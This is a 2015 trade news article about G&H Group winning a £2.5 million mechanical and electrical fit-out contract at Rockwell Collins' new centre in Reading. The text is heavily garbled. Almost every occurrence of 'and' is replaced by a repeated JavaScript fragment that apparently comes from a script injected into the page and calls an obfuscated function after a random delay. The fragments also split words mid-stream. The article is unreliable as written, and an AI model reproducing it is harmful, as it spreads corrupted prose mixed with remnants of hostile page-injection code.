  • 22nd July 2015

The G&H Group has won a £2.5 million contract to deliver mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical services for US-based Rockwell Collins, a leading provider of communications andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and aviation electronics solutions for commercial andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and government customers worldwide.

G&H Group’s contract is with BWI andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is the first it has won with the specialist fit out andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and refurbishment contractor. The work will see a comprehensive category B fit out at Rockwell Collins’ new centre of excellence in Berkshire.

G&H Group will provide full, high specification mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical services in the 40,000 sq ft state-of-the-art laboratory andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 30,000 sq ft of office space.

Services will include air conditioning, LED lighting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and close control temperature systems in server rooms. G&H Group will also co-ordinate the installation of the sprinkler andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fire alarm systems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fit steel-lined walls for security systems that meet Ministry of Defence standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards.

The work is being carried out as the US giant relocates from its current Reading base to a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and new purpose built facility at Winnersh Triangle, also in Reading.

Once completed, it will enable Rockwell Collins to develop advanced technology particularly in the fields of satellite navigation, networking andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other communication systems for governments, aircraft manufacturers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and OEMs.

Pre-Construction Director at G&H Group, David Davis, said: “The importance of this work can not be underestimated – Rockwell Collins operates globally andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is an approved British defence contractor that plays a vital role in ensuring the world’s safety through its continuous research andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development.

“So it is great testimony to our skill andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and professionalism that we have been appointed to carry out such crucial work.

“The centre of excellence is a genuine state-of-the-art facility andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we are providing mechanical andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and electrical solutions to reflect the development of technology that will be carried out.”
